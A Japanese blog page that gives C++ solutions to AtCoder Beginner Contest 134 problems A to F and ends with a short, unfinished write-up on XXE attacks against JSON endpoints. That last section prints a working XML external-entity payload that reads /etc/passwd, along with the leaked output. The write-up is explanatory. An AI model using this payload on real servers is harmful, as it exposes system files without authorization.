はまやんはまやんはまやん

hamayanhamayan's blog

Permutation Oddness [AtCoder Beginner Contest 134 F]

https://atcoder.jp/contests/abc134/tasks/abc134_f

前提知識

解説

https://atcoder.jp/contests/abc134/submissions/6480100

箱根DPという典型DPテクがあるので、そこをベースに考えてみる。 今回の問題を1つの順列の入れ替えと考えるのではなく、2つの順列A,Bのマッチング問題と考える。

dp[i][rest][k] := 順列Aをi個使っていてrest個マッチングしていなくて、 順列Bをi個使っていてrest個マッチングしていないときに、 マッチングで差の和がkであるときの組み合わせ

これを適切に計算できれば、dp[N][0][K]が答えになる。 dp[i][rest][k]からの遷移の可能性は5通りある。

  • どちらの順列のi+1番目も使わない
    • 使わないと、kは2*rest+2だけ増える
  • 順列Aのi+1番目と、順列Bの残りとマッチングさせる
    • kは2*restだけ増える
    • どの残りとマッチングさせるかでrest通りある
  • 順列Bのi+1番目と、順列Aの残りとマッチングさせる
    • kは2*restだけ増える
    • どの残りとマッチングさせるかでrest通りある
  • 順列Aのi+1番目と、順列Bのi+1番目とマッチングさせる
    • kは2*restだけ増える
  • 順列Aのi+1番目と順列Bの残り、順列Bのi+1番目と順列Aの残りとマッチングさせる
    • kは2*rest-2だけ増える
    • どの残りとマッチングさせるかでrest2通りある

これでゴリゴリ遷移させていくと、答えが出てくる。

int N, K;
mint dp[51][51][3100];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    dp[0][0][0] = 1;
    rep(i, 0, N) rep(rest, 0, N) rep(k, 0, K + 1) {
        // どちらの順列のi + 1番目も使わない
        dp[i + 1][rest + 1][k + 2 * rest + 2] += dp[i][rest][k];

        // 順列Aのi + 1番目と、順列Bの残りとマッチングさせる
        if (rest) dp[i + 1][rest][k + 2 * rest] += dp[i][rest][k] * rest;

        // 順列Bのi + 1番目と、順列Aの残りとマッチングさせる
        if (rest) dp[i + 1][rest][k + 2 * rest] += dp[i][rest][k] * rest;

        // 順列Aのi + 1番目と、順列Bのi + 1番目とマッチングさせる
        dp[i + 1][rest][k + 2 * rest] += dp[i][rest][k];
        
        // 順列Aのi + 1番目と順列Bの残り、順列Bのi + 1番目と順列Aの残りとマッチングさせる
        if(rest) dp[i + 1][rest - 1][k + 2 * rest - 2] += dp[i][rest][k] * rest * rest;
    }
    cout << dp[N][0][K] << endl;
}

Sequence Decomposing [AtCoder Beginner Contest 134 E]

https://atcoder.jp/contests/abc134/tasks/abc134_e

前提知識

解説

https://atcoder.jp/contests/abc134/submissions/6479037

先頭から貪欲に増加列を作っていき、何周で全部空にできるかという問題になる。
先頭から貪欲に作っていくので、

  • cu番目より後
  • A[cu]より大きい
  • 上の2つの条件を満たす中で、最もcu番目に近い

を高速に取得できるデータ構造が要求される。
これは2Dセグメントツリー、セグメントツリーにセグメントツリーを載せるテクで作ったデータ構造を作れば実現できる。
N=105が最大なので、たぶん大丈夫だろうと投げたら通る。
O(NlogNlogN)

int N, A[101010], vis[101010];
Healthy2DSegTreeVer2 st;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];

    vector<vector<int>> idx(N);
    rep(i, 0, N) idx[i].push_back(A[i]);
    st.init(idx);
    rep(i, 0, N) st.update(i, A[i], i);

    int ans = 0;
    rep(i, 0, N) if (!vis[i]) {
        ans++;
        int cu = i;
        while (cu < N) {
            vis[cu] = 1;
            st.update(cu, A[cu], inf);

            cu = st.get(cu + 1, N, A[cu] + 1, inf);
        }
    }

    cout << ans << endl;
}

Preparing Boxes [AtCoder Beginner Contest 134 D]

https://atcoder.jp/contests/abc134/tasks/abc134_d

解説

https://atcoder.jp/contests/abc134/submissions/6478841

B[i] := i番目の箱にボールが何個入っているかと定義しておこう。
まず、自明なところから考えていこう。
A[N]=B[N]
これがまず分かるところ。
この事実から考えると、後ろから考えていくのがよさそう。
あるB[i]の値を決定するには、B[i2], B[i3], ... の値とA[i]から決定ができそうだが、
ちょうど後ろから決めることでBの値はすべてわかるので、other=B[i2]+B[i3]+...を計算すると、
other%2==A[i]であれば、パリティは変えたくないのでB[i]=0、違うならB[i]=1とする。
こう考えていくと、-1になる場合はないので、どんどん作っていこう。
あとは、B[i]=1になっているiを集めて答える。

int N, A[201010], B[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 1, N + 1) cin >> A[i];

    rrep(i, N, 1) {
        int other = 0;
        for (int x = i * 2; x <= N; x += i) if (B[x]) other++;
        if (other % 2 != A[i]) B[i] = 1;
    }

    vector<int> ans;
    rep(i, 1, N + 1) if (B[i]) ans.push_back(i);

    int M = ans.size();
    printf("%d\n", M);
    rep(i, 0, M) {
        if(i) printf(" ");
        printf("%d", ans[i]);
    }
    printf("\n");
}

Exception Handling [AtCoder Beginner Contest 134 C]

https://atcoder.jp/contests/abc134/tasks/abc134_c

前提知識

解説

https://atcoder.jp/contests/abc134/submissions/6478504

ある1要素以外の最大値を取りたいという要望には典型テクがある。
累積和を利用するのだが、先頭からと後尾からの2つを構築する。
lft[i] := A[0]~A[i]までの最大値
rht[i] := A[i]~A[N-1]までの最大値
これを作っておけば、i番目以外の最大値はmax(lft[i - 1], rht[i + 1])となる。
端っこの処理は工夫する必要がある。

int N, A[201010];
int lft[201010], rht[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];

    rep(i, 0, N) lft[i] = A[i];
    rep(i, 1, N) chmax(lft[i], lft[i - 1]);

    rep(i, 0, N) rht[i] = A[i];
    rrep(i, N - 2, 0) chmax(rht[i], rht[i + 1]);

    rep(i, 0, N) {
        int ans = -1;
        if (0 < i) chmax(ans, lft[i - 1]);
        if (i + 1 < N) chmax(ans, rht[i + 1]);
        printf("%d\n", ans);
    }
}

Golden Apple [AtCoder Beginner Contest 134 B]

https://atcoder.jp/contests/abc134/tasks/abc134_b

解説

https://atcoder.jp/contests/abc134/submissions/6478072

監視員がカバーできる範囲は[i-D,i+D]なので、2D+1の範囲をカバーできる。
よって、len=2D+1とすると、N/Dの切り上げが必要な監視員の最少人数となる。

int N, D;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> D;

    int len = D * 2 + 1;
    int ans = (N + len - 1) / len;

    cout << ans << endl;
}

Dodecagon [AtCoder Beginner Contest 134 A]

https://atcoder.jp/contests/abc134/tasks/abc134_a

解説

https://atcoder.jp/contests/abc134/submissions/6477844

問題に書いてある計算式をそのまま実装しよう。

int R;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> R;

    int ans = 3 * R * R;
    cout << ans << endl;
}

XXE on JSON Endpoints

概要

  • JSONを渡すAPIに対して、XMLを渡すことができる場合がある
  • その場合にXXEが行えてしまう

JSONを渡すAPIに対してXMLが渡せる現象

Playing with Content-Type – XXE on JSON Endpointsのほぼ日本語訳。

例えば、

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

というリクエストに対して、

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

が帰ってくるとする。
リクエストを以下の様に変更すると、そのまま送れてしまう。

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

返答も同じ。

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

この状態なら、XXEが行える。
XXEについては、ここが詳しい。

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

とすれば、

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

と帰ってくることになる。

この現象はなぜ起こるのか